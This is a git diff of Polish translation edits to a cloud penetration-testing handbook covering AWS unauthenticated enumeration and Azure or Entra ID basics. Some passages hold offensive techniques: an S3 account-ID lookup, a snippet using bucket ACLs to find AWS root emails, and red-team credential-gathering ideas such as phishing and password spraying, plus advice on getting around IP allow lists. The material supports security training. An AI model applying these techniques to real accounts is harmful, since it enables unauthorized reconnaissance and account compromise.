 curl -X GET "[bucketname].amazonaws.com/" \
 -H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -160,9 +160,9 @@ curl -X GET "[bucketname].amazonaws.com/" \
 ```
 Jeśli błąd to „Access Denied”, oznacza to, że identyfikator konta był błędny.
 
-### Użycie adresów e-mail do enumeracji konta root
+### Użyte e-maile jako enumeracja konta root
 
-Jak wyjaśniono w [**tym wpisie na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), możliwe jest sprawdzenie, czy adres e-mail jest powiązany z jakimkolwiek kontem AWS, **próbując przyznać adresowi e-mail uprawnienia** do koszyka S3 za pomocą ACL. Jeśli to nie wywoła błędu, oznacza to, że e-mail jest użytkownikiem root jakiegoś konta AWS:
+Jak wyjaśniono w [**tym wpisie na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), możliwe jest sprawdzenie, czy adres e-mail jest powiązany z jakimkolwiek kontem AWS, **próbując przyznać e-mailowi uprawnienia** do koszyka S3 za pomocą ACL. Jeśli to nie wywoła błędu, oznacza to, że e-mail jest użytkownikiem root jakiegoś konta AWS:
 ```python
 s3_client.put_bucket_acl(
 Bucket=bucket_name,
@@ -183,7 +183,7 @@ AccessControlPolicy={
 }
 )
 ```
-## References
+## Odniesienia
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
index a9b10f9db..1d56816b4 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -4,7 +4,7 @@
 
 ## SNS
 
-Aby uzyskać więcej informacji na temat SNS, sprawdź:
+Aby uzyskać więcej informacji o SNS, sprawdź:
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
index 0ce23fffa..e94687ec4 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji o SQS, sprawdź:
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Szablon publicznego URL
+### Public URL template
 ```
 https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
 ```
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 3cea4aae0..04d5e4d97 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -12,7 +12,7 @@ az-basic-information/
 
 Aby audytować środowisko AZURE, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak są połączone wewnętrzne usługi Azure oraz **usługi zewnętrzne**.
 
-Z perspektywy Red Team, **pierwszym krokiem do skompromitowania środowiska Azure** jest uzyskanie jakichś **poświadczeń** dla Azure AD. Oto kilka pomysłów, jak to zrobić:
+Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska Azure** jest uzyskanie jakichś **poświadczeń** dla Azure AD. Oto kilka pomysłów, jak to zrobić:
 
 - **Wycieki** w githubie (lub podobnych) - OSINT
 - **Inżynieria** społeczna
@@ -27,13 +27,13 @@ Z perspektywy Red Team, **pierwszym krokiem do skompromitowania środowiska Azur
 - **`az logout`** usuwa token.
 - Starsze wersje **`Az PowerShell`** przechowywały **tokeny dostępu** w **czystym** tekście w **`TokenCache.dat`**. Przechowuje również **ServicePrincipalSecret** w **czystym** tekście w **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** może być użyty do **przechowywania** **tokenów**.\
 Użyj `Disconnect-AzAccount`, aby je usunąć.
-- Naruszenia przez osoby trzecie
+- Naruszenia danych przez osoby trzecie
 - **Wewnętrzny** pracownik
-- [**Typowe Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (poświadczenia lub aplikacja Oauth)
+- [**Typowe phishingi**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (poświadczenia lub aplikacja Oauth)
 - [Phishing z użyciem kodu urządzenia](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
-- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
+- [**Password Spraying** w Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
 
-Nawet jeśli **nie skompromitowałeś żadnego użytkownika** w tenantcie Azure, który atakujesz, możesz **zgromadzić pewne informacje** z niego:
+Nawet jeśli **nie skompromitowałeś żadnego użytkownika** w tenant Azure, który atakujesz, możesz **zgromadzić pewne informacje** z niego:
 
 {{#ref}}
 az-unauthenticated-enum-and-initial-entry/
@@ -59,7 +59,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
 
 <figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
 
-W przypadkach, gdy masz jakieś ważne poświadczenia, ale nie możesz się zalogować, oto kilka powszechnych zabezpieczeń, które mogą być wprowadzone:
+W przypadkach, gdy masz ważne poświadczenia, ale nie możesz się zalogować, oto kilka powszechnych zabezpieczeń, które mogą być wprowadzone:
 
 - **Biała lista IP** -- Musisz skompromitować ważny adres IP
 - **Ograniczenia geograficzne** -- Znajdź, gdzie mieszka użytkownik lub gdzie znajdują się biura firmy i uzyskaj IP z tego samego miasta (lub przynajmniej kraju)
@@ -126,7 +126,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
 
 ### ENtra ID Enumeration
 
-Domyślnie każdy użytkownik powinien mieć **wystarczające uprawnienia do enumeracji** takich rzeczy jak użytkownicy, grupy, role, zasady usług... (sprawdź [domyślne uprawnienia AzureAD](az-basic-information/#default-user-permissions)).\
+Domyślnie każdy użytkownik powinien mieć **wystarczające uprawnienia do enumeracji** takich rzeczy jak użytkownicy, grupy, role, usługi principal... (sprawdź [domyślne uprawnienia AzureAD](az-basic-information/#default-user-permissions)).\
 Możesz znaleźć tutaj przewodnik:
 
 {{#ref}}
@@ -147,7 +147,7 @@ Użyj portal.azure.com i wybierz powłokę, lub użyj shell.azure.com, aby uzysk
 
 ## Azure DevOps
 
-Azure DevOps jest oddzielony od Azure. Posiada repozytoria, potoki (yaml lub release), tablice, wiki i inne. Grupy zmiennych są używane do przechowywania wartości zmiennych i sekretów.
+Azure DevOps jest oddzielony od Azure. Ma repozytoria, potoki (yaml lub release), tablice, wiki i inne. Grupy zmiennych są używane do przechowywania wartości zmiennych i sekretów.
 
 ## Debug | MitM az cli
 
@@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
 {{#endtab }}
 {{#endtabs }}
 
-## Zautomatyzowane narzędzia rekonesansu
+## Narzędzia do automatycznego rekonesansu
 
 ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
 ```powershell
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
index 13a02969e..b9aca1f30 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -22,13 +22,13 @@
 ### Subskrypcje Azure
 
 - To kolejny **logiczny kontener, w którym mogą być uruchamiane zasoby** (VM, DB…) i za który będą naliczane opłaty.
-- Jego **rodzicem** jest zawsze **grupa zarządzająca** (może to być grupa zarządzająca główna), ponieważ subskrypcje nie mogą zawierać innych subskrypcji.
+- Jego **rodzicem** jest zawsze **grupa zarządzająca** (może to być główna grupa zarządzająca), ponieważ subskrypcje nie mogą zawierać innych subskrypcji.
 - **Ufa tylko jednemu katalogowi Entra ID**
-- **Uprawnienia** stosowane na poziomie subskrypcji (lub dowolnego z jej rodziców) są **dziedziczone** przez wszystkie zasoby wewnątrz subskrypcji.
+- **Uprawnienia** stosowane na poziomie subskrypcji (lub dowolnego z jej rodziców) są **dziedziczone** przez wszystkie zasoby wewnątrz subskrypcji
 
 ### Grupy zasobów
 
-[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Grupa zasobów to **kontener**, który przechowuje **powiązane zasoby** dla rozwiązania Azure. Grupa zasobów może zawierać wszystkie zasoby dla rozwiązania lub tylko te **zasoby, które chcesz zarządzać jako grupą**. Zazwyczaj dodawaj **zasoby**, które mają **ten sam cykl życia**, do tej samej grupy zasobów, aby łatwo je wdrażać, aktualizować i usuwać jako grupę.
+[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Grupa zasobów to **kontener**, który przechowuje **powiązane zasoby** dla rozwiązania Azure. Grupa zasobów może zawierać wszystkie zasoby dla rozwiązania lub tylko te **zasoby, które chcesz zarządzać jako grupą**. Zazwyczaj dodawaj **zasoby**, które mają **ten sam cykl życia** do tej samej grupy zasobów, aby łatwo je wdrażać, aktualizować i usuwać jako grupę.
 
 Wszystkie **zasoby** muszą być **wewnątrz grupy zasobów** i mogą należeć tylko do jednej grupy, a jeśli grupa zasobów zostanie usunięta, wszystkie zasoby w niej również zostaną usunięte.
 
@@ -42,7 +42,7 @@ Format identyfikatora zasobu Azure jest następujący:
 
 - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
 
-Dla maszyny wirtualnej o nazwie myVM w grupie zasobów `myResourceGroup` pod subskrypcją o ID `12345678-1234-1234-1234-123456789012`, identyfikator zasobu Azure wygląda następująco:
+Dla maszyny wirtualnej o nazwie myVM w grupie zasobów `myResourceGroup` pod subskrypcją ID `12345678-1234-1234-1234-123456789012`, identyfikator zasobu Azure wygląda następująco:
 
 - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
 
@@ -58,7 +58,7 @@ Entra ID to chmurowa **usługa zarządzania tożsamością i dostępem**, zaproj
 
 ### Usługi domenowe Entra (wcześniej Azure AD DS)
 
-Usługi domenowe Entra rozszerzają możliwości Entra ID, oferując **zarządzane usługi domenowe zgodne z tradycyjnymi środowiskami Windows Active Directory**. Obsługują starsze protokoły, takie jak LDAP, Kerberos i NTLM, umożliwiając organizacjom migrację lub uruchamianie starszych aplikacji w chmurze bez wdrażania lokalnych kontrolerów domeny. Usługa ta obsługuje również politykę grupową dla centralnego zarządzania, co czyni ją odpowiednią dla scenariuszy, w których obciążenia oparte na AD muszą współistnieć z nowoczesnymi środowiskami chmurowymi.
+Usługi domenowe Entra rozszerzają możliwości Entra ID, oferując **zarządzane usługi domenowe zgodne z tradycyjnymi środowiskami Windows Active Directory**. Obsługują protokoły dziedziczne, takie jak LDAP, Kerberos i NTLM, umożliwiając organizacjom migrację lub uruchamianie starszych aplikacji w chmurze bez wdrażania lokalnych kontrolerów domeny. Usługa ta obsługuje również politykę grupową dla centralnego zarządzania, co czyni ją odpowiednią dla scenariuszy, w których obciążenia dziedziczne lub oparte na AD muszą współistnieć z nowoczesnymi środowiskami chmurowymi.
 
 ## Zasady Entra ID
 
@@ -94,29 +94,29 @@ Możesz je sprawdzić w [https://learn.microsoft.com/en-us/entra/fundamentals/us
 
 - **Członkowie (**[**dokumentacja**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
 - Rejestracja aplikacji: Domyślnie **Tak**
-- Ograniczenie użytkowników niebędących administratorami w tworzeniu najemców: Domyślnie **Nie**
+- Ograniczenie użytkowników niebędących administratorami przed tworzeniem najemców: Domyślnie **Nie**
 - Tworzenie grup zabezpieczeń: Domyślnie **Tak**
 - Ograniczenie dostępu do portalu administracyjnego Microsoft Entra: Domyślnie **Nie**
 - To nie ogranicza dostępu API do portalu (tylko web)
 - Zezwolenie użytkownikom na połączenie konta roboczego lub szkolnego z LinkedIn: Domyślnie **Tak**
 - Pokaż, aby użytkownik pozostał zalogowany: Domyślnie **Tak**
-- Ograniczenie użytkowników w odzyskiwaniu klucza BitLocker dla ich posiadanych urządzeń: Domyślnie Nie (sprawdź w Ustawieniach urządzenia)
+- Ograniczenie użytkowników przed odzyskiwaniem klucza BitLocker dla ich posiadanych urządzeń: Domyślnie **Nie** (sprawdź w Ustawieniach urządzenia)
 - Czytać innych użytkowników: Domyślnie **Tak** (za pośrednictwem Microsoft Graph)
 - **Goście**
 - **Ograniczenia dostępu użytkowników gości**
-- **Użytkownicy goście mają takie same uprawnienia jak członkowie** przyznaje domyślnie wszystkie uprawnienia użytkowników członków użytkownikom gości.
-- **Użytkownicy goście mają ograniczony dostęp do właściwości i członkostw obiektów katalogowych (domyślnie)** ogranicza dostęp gości tylko do ich własnego profilu użytkownika. Dostęp do informacji o innych użytkownikach i grupach nie jest już dozwolony.
+- **Użytkownicy goście mają takie same uprawnienia jak członkowie** przyznaje wszystkie uprawnienia użytkowników członków użytkownikom gości domyślnie.
+- **Użytkownicy goście mają ograniczony dostęp do właściwości i członkostw obiektów katalogowych (domyślnie)** ogranicza dostęp gości tylko do ich własnego profilu użytkownika domyślnie. Dostęp do informacji o innych użytkownikach i grupach nie jest już dozwolony.
 - **Dostęp użytkowników gości jest ograniczony do właściwości i członkostw ich własnych obiektów katalogowych** jest najbardziej restrykcyjny.
 - **Goście mogą zapraszać**
-- **Każdy w organizacji może zapraszać użytkowników gości, w tym gości i użytkowników niebędących administratorami (najbardziej inkluzywne) - Domyślnie**
+- **Każdy w organizacji może zapraszać użytkowników gości, w tym gości i nie-administratorów (najbardziej inkluzywne) - Domyślnie**
 - **Użytkownicy członkowie i użytkownicy przypisani do określonych ról administratorów mogą zapraszać użytkowników gości, w tym gości z uprawnieniami członkowskimi**
 - **Tylko użytkownicy przypisani do określonych ról administratorów mogą zapraszać użytkowników gości**
 - **Nikt w organizacji nie może zapraszać użytkowników gości, w tym administratorów (najbardziej restrykcyjne)**
-- **Użytkownik zewnętrzny opuszcza**: Domyślnie **Prawda**
-- Zezwolenie użytkownikom zewnętrznym na opuszczenie organizacji
+- **Użytkownicy zewnętrzni mogą odejść**: Domyślnie **Prawda**
+- Zezwolenie użytkownikom zewnętrznym na odejście z organizacji
 
 > [!TIP]
-> Nawet jeśli są ograniczeni domyślnie, użytkownicy (członkowie i goście) z przyznanymi uprawnieniami mogą wykonywać wcześniejsze działania.
+> Nawet jeśli są ograniczeni domyślnie, użytkownicy (członkowie i goście) z przyznanymi uprawnieniami mogą wykonywać poprzednie działania.
 
 ### **Grupy**
 
@@ -135,9 +135,9 @@ Istnieją **2 typy członkostw**:
 
 **Zasada usługi** to **tożsamość** stworzona do **użytku** z **aplikacjami**, usługami hostowanymi i narzędziami automatyzacji do uzyskiwania dostępu do zasobów Azure. Ten dostęp jest **ograniczony przez przypisane role** do zasady usługi, co daje ci kontrolę nad **tym, które zasoby mogą być dostępne** i na jakim poziomie. Z powodów bezpieczeństwa zawsze zaleca się **używanie zasad usług z narzędziami automatyzacji** zamiast pozwalać im logować się za pomocą tożsamości użytkownika.
 
-Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowanie jej **sekretu** (hasła), **certyfikatu** lub przyznanie **federowanego** dostępu do platform zewnętrznych (np. Github Actions).
+Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowanie jej **sekretu** (hasła), **certyfikatu** lub przyznanie **federowanego** dostępu do platform zewnętrznych (np. Github Actions) nad nią.
 
-- Jeśli wybierzesz uwierzytelnianie **hasłem** (domyślnie), **zapisz wygenerowane hasło**, ponieważ nie będziesz mógł uzyskać do niego ponownie dostępu.
+- Jeśli wybierzesz **uwierzytelnianie hasłem** (domyślnie), **zapisz wygenerowane hasło**, ponieważ nie będziesz mógł uzyskać do niego ponownie dostępu.
 - Jeśli wybierzesz uwierzytelnianie certyfikatem, upewnij się, że **aplikacja będzie miała dostęp do klucza prywatnego**.
 
 ### Rejestracje aplikacji
@@ -166,7 +166,7 @@ Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowa
 - **Domyślne** uprawnienia o niskim wpływie (chociaż musisz zaakceptować, aby dodać je jako niskie):
 - User.Read - zaloguj się i odczytaj profil użytkownika
 - offline_access - utrzymuj dostęp do danych, do których użytkownicy dali dostęp
-- openid - loguj użytkowników
+- openid - zaloguj użytkowników
 - profile - wyświetl podstawowy profil użytkownika
 - email - wyświetl adres e-mail użytkownika
 - **Zezwól na zgodę użytkownika dla aplikacji (domyślnie)**
@@ -175,7 +175,7 @@ Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowa
 **Prośby o zgodę administratora**: Domyślnie **Nie**
 
 - Użytkownicy mogą prosić o zgodę administratora na aplikacje, do których nie mogą wyrazić zgody
-- Jeśli **Tak**: Możliwe jest wskazanie użytkowników, grup i ról, które mogą wyrażać zgodę na prośby
+- Jeśli **Tak**: Możliwe jest wskazanie Użytkowników, Grup i Ról, które mogą wyrazić zgodę na prośby
 - Skonfiguruj również, czy użytkownicy otrzymają powiadomienia e-mail i przypomnienia o wygaśnięciu&#x20;
 
 ### **Zarządzana tożsamość (metadane)**
@@ -184,16 +184,16 @@ Zarządzane tożsamości w Azure Active Directory oferują rozwiązanie do **aut
 
 Istnieją dwa typy zarządzanych tożsamości:
 
-- **Przypisana przez system**. Niektóre usługi Azure pozwalają na **włączenie zarządzanej tożsamości bezpośrednio na instancji usługi**. Gdy włączysz zarządzaną tożsamość przypisaną przez system, **zasada usługi** jest tworzona w najemcy Entra ID zaufanym przez subskrypcję, w której znajduje się zasób. Gdy **zasób** jest **usuwany**, Azure automatycznie **usuwa** **tożsamość** za Ciebie.
-- **Przypisana przez użytkownika**. Użytkownicy mogą również generować zarządzane tożsamości. Są one tworzone wewnątrz grupy zasobów w subskrypcji, a zasada usługi zostanie utworzona w EntraID zaufanym przez subskrypcję. Następnie możesz przypisać zarządzaną tożsamość do jednej lub **więcej instancji** usługi Azure (wiele zasobów). W przypadku zarządzanych tożsamości przypisanych przez użytkownika, **tożsamość jest zarządzana oddzielnie od zasobów, które jej używają**.
+- **Przypisane do systemu**. Niektóre usługi Azure pozwalają na **włączenie zarządzanej tożsamości bezpośrednio na instancji usługi**. Gdy włączysz zarządzaną tożsamość przypisaną do systemu, **zasada usługi** jest tworzona w najemcy Entra ID zaufanym przez subskrypcję, w której znajduje się zasób. Gdy **zasób** jest **usuwany**, Azure automatycznie **usuwa** **tożsamość** za Ciebie.
+- **Przypisane przez użytkownika**. Użytkownicy mogą również generować zarządzane tożsamości. Są one tworzone wewnątrz grupy zasobów w subskrypcji, a zasada usługi zostanie utworzona w EntraID zaufanym przez subskrypcję. Następnie możesz przypisać zarządzaną tożsamość do jednej lub **więcej instancji** usługi Azure (wiele zasobów). W przypadku zarządzanych tożsamości przypisanych przez użytkownika, **tożsamość jest zarządzana oddzielnie od zasobów, które jej używają**.
 
-Zarządzane tożsamości **nie generują wiecznych poświadczeń** (jak hasła czy certyfikaty) do uzyskania dostępu jako przypisana do niej zasada usługi.
+Zarządzane tożsamości **nie generują wiecznych poświadczeń** (jak hasła czy certyfikaty) do uzyskania dostępu jako zasada usługi do niej przypisana.
 
 ### Aplikacje korporacyjne
 
-To po prostu **tabela w Azure do filtrowania zasad usług** i sprawdzania aplikacji, które zostały do nich przypisane.
+To po prostu **tabela w Azure do filtrowania zasad usług** i sprawdzania aplikacji, które zostały do niej przypisane.
 
-**Nie jest to inny typ "aplikacji",** nie ma żadnego obiektu w Azure, który jest "Aplikacją korporacyjną", to tylko abstrakcja do sprawdzania zasad usług, rejestracji aplikacji i zarządzanych tożsamości.
+**To nie jest inny typ "aplikacji",** nie ma żadnego obiektu w Azure, który jest "Aplikacją korporacyjną", to tylko abstrakcja do sprawdzania zasad usług, rejestracji aplikacji i zarządzanych tożsamości.
 
 ### Jednostki administracyjne
 
@@ -214,14 +214,14 @@ Przykład:
 
 ### Role Entra ID
 
-- Aby zarządzać Entra ID, istnieją pewne **wbudowane role**, które można przypisać do zasad Entra ID w celu zarządzania Entra ID
+- Aby zarządzać Entra ID, istnieją pewne **wbudowane role**, które można przypisać do głównych Entra ID, aby zarządzać Entra ID
 - Sprawdź role w [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
 - Najbardziej uprzywilejowaną rolą jest **Global Administrator**
 - W opisie roli można zobaczyć jej **szczegółowe uprawnienia**
 
 ## Role i uprawnienia
 
-**Role** są **przypisywane** do **zasad** w **zakresie**: `principal -[HAS ROLE]->(scope)`
+**Role** są **przypisywane** do **głównych** w **zakresie**: `principal -[HAS ROLE]->(scope)`
 
 **Role** przypisane do **grup** są **dziedziczone** przez wszystkich **członków** grupy.
 
@@ -245,7 +245,7 @@ W zależności od zakresu, do którego przypisano rolę, **rola** może być **d
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
 | [Użytkownik logowania do maszyny wirtualnej](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Wyświetl maszyny wirtualne w portalu i zaloguj się jako zwykły użytkownik. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
 
-Te role mogą **być również przypisane do kontenerów logicznych** (takich jak grupy zarządzające, subskrypcje i grupy zasobów), a zasady, które są nimi objęte, będą miały je **nad zasobami wewnątrz tych kontenerów**.
+Te role mogą **być również przypisane do kontenerów logicznych** (takich jak grupy zarządzające, subskrypcje i grupy zasobów), a dotknięte zasady będą miały je **nad zasobami wewnątrz tych kontenerów**.
 
 - Znajdź tutaj listę z [**wszystkimi wbudowanymi rolami Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
 - Znajdź tutaj listę z [**wszystkimi wbudowanymi rolami Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
@@ -253,10 +253,10 @@ Te role mogą **być również przypisane do kontenerów logicznych** (takich ja
 ### Niestandardowe role
 
 - Możliwe jest również tworzenie [**niestandardowych ról**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
-- Tworzone są wewnątrz zakresu, chociaż rola może być w kilku zakresach (grupy zarządzające, subskrypcje i grupy zasobów)
+- Są one tworzone wewnątrz zakresu, chociaż rola może być w kilku zakresach (grupy zarządzające, subskrypcje i grupy zasobów)
 - Możliwe jest skonfigurowanie wszystkich szczegółowych uprawnień, które będzie miała niestandardowa rola
 - Możliwe jest wykluczenie uprawnień
-- Zasada z wykluczonym uprawnieniem nie będzie mogła go używać, nawet jeśli uprawnienie jest przyznawane gdzie indziej
+- Główny z wykluczonym uprawnieniem nie będzie mógł go używać, nawet jeśli uprawnienie jest przyznawane gdzie indziej
 - Możliwe jest użycie symboli wieloznacznych
 - Używany format to JSON
 - `actions` są do kontrolowania działań nad zasobem
@@ -294,8 +294,8 @@ Przykład uprawnień JSON dla niestandardowej roli:
 ```
 ### Kolejność uprawnień
 
-- Aby **podmiot miał dostęp do zasobu**, musi mieć przyznaną wyraźną rolę (w jakikolwiek sposób) **przyznającą mu to uprawnienie**.
-- Wyraźne **przyznanie roli odmowy ma pierwszeństwo** przed rolą przyznającą uprawnienie.
+- Aby **podmiot miał dostęp do zasobu**, musi mu zostać przyznana wyraźna rola (w jakikolwiek sposób) **przyznająca mu to uprawnienie**.
+- Wyraźne **przydzielenie roli odmowy ma pierwszeństwo** przed rolą przyznającą uprawnienie.
 
 <figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
 
@@ -303,7 +303,7 @@ Przykład uprawnień JSON dla niestandardowej roli:
 
 Globalny administrator to rola z Entra ID, która przyznaje **pełną kontrolę nad dzierżawą Entra ID**. Jednak domyślnie nie przyznaje żadnych uprawnień do zasobów Azure.
 
-Użytkownicy z rolą globalnego administratora mają możliwość '**podniesienia' do roli administratora dostępu użytkowników w grupie zarządzania Root**. Tak więc globalni administratorzy mogą zarządzać dostępem w **wszystkich subskrypcjach Azure i grupach zarządzania.**\
+Użytkownicy z rolą globalnego administratora mają możliwość '**podniesienia' do roli administratora dostępu użytkowników w grupie zarządzania Root**. Dzięki temu globalni administratorzy mogą zarządzać dostępem w **wszystkich subskrypcjach Azure i grupach zarządzania.**\
 To podniesienie można wykonać na końcu strony: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
 <figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
@@ -317,7 +317,7 @@ Polityki Azure są **proaktywne**: mogą zatrzymać tworzenie lub zmianę zasob
 #### **Kluczowe pojęcia**
 
 1. **Definicja polityki**: Zasada, napisana w JSON, która określa, co jest dozwolone lub wymagane.
-2. **Przydział polityki**: Zastosowanie polityki do określonego zakresu (np. subskrypcja, grupa zasobów).
+2. **Przydzielenie polityki**: Zastosowanie polityki do określonego zakresu (np. subskrypcja, grupa zasobów).
 3. **Inicjatywy**: Zbiór polityk zgrupowanych razem w celu szerszej egzekucji.
 4. **Efekt**: Określa, co się dzieje, gdy polityka jest wyzwalana (np. "Odmów", "Audyt" lub "Dodaj").
 
@@ -363,7 +363,7 @@ Ta struktura hierarchiczna umożliwia efektywne i skalowalne zarządzanie uprawn
 **RBAC** (kontrola dostępu oparta na rolach) to to, co już widzieliśmy w poprzednich sekcjach: **Przypisanie roli do podmiotu w celu przyznania mu dostępu** do zasobu.\
 Jednak w niektórych przypadkach możesz chcieć zapewnić **bardziej szczegółowe zarządzanie dostępem** lub **uproszczenie** zarządzania **setkami** przypisań ról.
 
-Azure **ABAC** (kontrola dostępu oparta na atrybutach) opiera się na Azure RBAC, dodając **warunki przypisania ról oparte na atrybutach** w kontekście konkretnych działań. _Warunek przypisania roli_ to **dodatkowa kontrola, którą możesz opcjonalnie dodać do swojego przypisania roli**, aby zapewnić bardziej szczegółową kontrolę dostępu. Warunek filtruje uprawnienia przyznane jako część definicji roli i przypisania roli. Na przykład, możesz **dodać warunek, który wymaga, aby obiekt miał konkretny tag, aby go odczytać**.\
+Azure **ABAC** (kontrola dostępu oparta na atrybutach) opiera się na Azure RBAC, dodając **warunki przypisania ról oparte na atrybutach** w kontekście konkretnych działań. _Warunek przypisania roli_ to **dodatkowa kontrola, którą możesz opcjonalnie dodać do swojego przypisania roli**, aby zapewnić bardziej szczegółową kontrolę dostępu. Warunek filtruje uprawnienia przyznawane jako część definicji roli i przypisania roli. Na przykład, możesz **dodać warunek, który wymaga, aby obiekt miał określony tag, aby go odczytać**.\
 **Nie możesz** wyraźnie **odmówić** **dostępu** do konkretnych zasobów **za pomocą warunków**.
 
 ## Odniesienia
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index 468cdd119..77f9bbc5e 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -1,21 +1,21 @@
-# Az - Tokens & Public Applications
+# Az - Tokeny i Aplikacje Publiczne
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Podstawowe informacje
+## Podstawowe Informacje
 
 Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze firmy Microsoft, stanowiąca podstawowy system uwierzytelniania i autoryzacji dla usług takich jak Microsoft 365 i Azure Resource Manager. Azure AD wdraża ramy autoryzacji OAuth 2.0 oraz protokół uwierzytelniania OpenID Connect (OIDC) do zarządzania dostępem do zasobów.
 
 ### OAuth
 
-**Kluczowi uczestnicy w OAuth 2.0:**
+**Kluczowi Uczestnicy w OAuth 2.0:**
 
-1. **Serwer zasobów (RS):** Chroni zasoby należące do właściciela zasobów.
-2. **Właściciel zasobów (RO):** Zazwyczaj użytkownik końcowy, który posiada chronione zasoby.
-3. **Aplikacja kliencka (CA):** Aplikacja ubiegająca się o dostęp do zasobów w imieniu właściciela zasobów.
-4. **Serwer autoryzacji (AS):** Wydaje tokeny dostępu aplikacjom klienckim po ich uwierzytelnieniu i autoryzacji.
+1. **Serwer Zasobów (RS):** Chroni zasoby należące do właściciela zasobów.
+2. **Właściciel Zasobów (RO):** Zazwyczaj użytkownik końcowy, który posiada chronione zasoby.
+3. **Aplikacja Klienta (CA):** Aplikacja ubiegająca się o dostęp do zasobów w imieniu właściciela zasobów.
+4. **Serwer Autoryzacji (AS):** Wydaje tokeny dostępu aplikacjom klienckim po ich uwierzytelnieniu i autoryzacji.
 
-**Zakresy i zgoda:**
+**Zakresy i Zgoda:**
 
 - **Zakresy:** Szczegółowe uprawnienia zdefiniowane na serwerze zasobów, które określają poziomy dostępu.
